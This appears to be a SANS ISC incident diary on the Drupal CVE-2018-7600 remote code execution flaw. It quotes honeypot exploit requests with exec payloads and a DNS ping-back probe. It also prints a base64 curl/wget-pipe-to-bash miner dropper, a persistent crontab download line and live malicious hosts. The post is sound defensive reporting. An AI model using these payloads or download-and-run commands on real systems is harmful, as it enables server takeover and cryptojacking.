SANS ISC: Drupal CVE-2018-7600 PoC is Public

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[Update: Now used to install Monero Miners. See below for details]

Drupal announced a Remote Code Execution vulnerability affecting Drupal 7.x and 8.x on March 28 (https://www.drupal.org/sa-core-2018-002)

Proof of concpet code appeared on github on April 12th.  Quick testing on handler's honeypots indicate that it functions as advertised.

Upgrade to 7.58 or 8.5.1

Scans/attemps are showing up in other Handlers' honeypots:

115.236.45.238 - - [13/Apr/2018:03:20:55 +0200] "POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1" 200 38174 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0"

And here is a second exploit attempt, trying to identify vulnerable servers:

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: <hostname>
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 162
Content-Type: application/x-www-form-urlencoded

form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=ping <hostname>.mu6fea.ceye.io -c 1

The payload pings a host where the hostname of the target is prefixed to the hostname to be pinged. This is sort of interesting as mu6fea.ceye.io is a wildcard DNS entry, and *.mu6fea.ceye.io appears to resolve to 118.192.48.48 right now. So the detection of who is "pinging" is made most likely via DNS.

The authoritative name server for "ceye.io" is ns[12].hackernews.cc, which appears to belong to a Chinese security news site. Maybe they are working on a story to publish how many vulnerable systems there are, but actual exploitation of a vulnerability, even if somewhat benign, may be a step too far for a news story.

Other payloads spotted so far:

echo `whoami`
phpinfo()
echo 123
whoami
touch 1.html
echo "xiokv"

The exploit attempts are currently arriving at a pretty brisk pace.

Here is one installing the standard xmrig Monero miner. The exploit string (spaces added to allow for wrapping on small screens):

echo KC91c3IvYmluL2N1cmwgLWZzU0wgaHR0c DovL3RjOHpkdy5pZjFqMHl0Z2t5cGEudGsvaSB8 fCAvdXNyL2Jpbi93Z2V0IGh0dHA6Ly90Yzh6 ZHcuaWYxajB5dGdreXBhLnRrL2kgLXFPLSkgfCAvYmluL2Jhc2g= | base64 -d | bash

This decodes to: (http replaced with hxxp)

/usr/bin/curl -fsSL hxxp://tc8zdw.if1j0ytgkypa.tk/i || /usr/bin/wget hxxp://tc8zdw.if1j0ytgkypa.tk/i -qO-) | /bin/bash

"i" is an installer script. It collects information about the system and makes itself persistent via an entry in the crontab:

*/30 * * * *   root   pkill -f /tmp/ ; (curl -fsSL http://${host}/i -o ${FN} || wget http://${host}/i -q -O ${FN}) ; bash ${FN} 1 &

It also download additional files:

• A script to kill competing miners: http://tc8zdw.if1j0ytgkypa.tk/k
• and the actual xmrig miner: http://tc8zdw.if1j0ytgkypa.tk/64. (the filename depends on the output from "getconf LONG_BIT")

the miner will then connect to port 6666 on u5evn7.if1j0ytgkypa.tk , which currently resolves to 207.246.113.230 and  144.202.37.130.